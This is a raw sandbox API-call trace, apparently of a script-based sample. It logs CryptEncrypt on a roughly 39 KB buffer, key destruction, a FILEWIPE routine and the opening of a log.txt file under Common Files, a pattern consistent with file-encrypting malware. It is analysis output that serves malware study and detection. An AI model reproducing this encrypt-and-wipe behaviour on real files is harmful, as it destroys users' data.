[0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.307] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.308] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.308] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9b3d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9b40) returned 1 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.308] CharLowerBuffW (in: lpsz="byte[39745]", cchLength=0xb | out: lpsz="byte[39745]") returned 0xb [0027.308] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.309] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.309] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4397220*, pdwDataLen=0xe8f3dfdf68*=0x9b3d, dwBufLen=0x9b40 | out: pbData=0xe8f4397220*, pdwDataLen=0xe8f3dfdf68*=0x9b40) returned 1 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.309] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.309] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.311] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.312] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.312] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.312] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.312] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.312] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.312] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.312] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.312] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.313] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.313] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.313] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.313] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.314] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.314] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.314] CharLowerBuffW (in: lpsz="byte[39741]", cchLength=0xb | out: lpsz="byte[39741]") returned 0xb [0027.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.315] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.315] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.315] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.315] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.315] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.316] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.317] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.317] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.318] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.318] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.318] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7302) returned 1 [0027.318] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 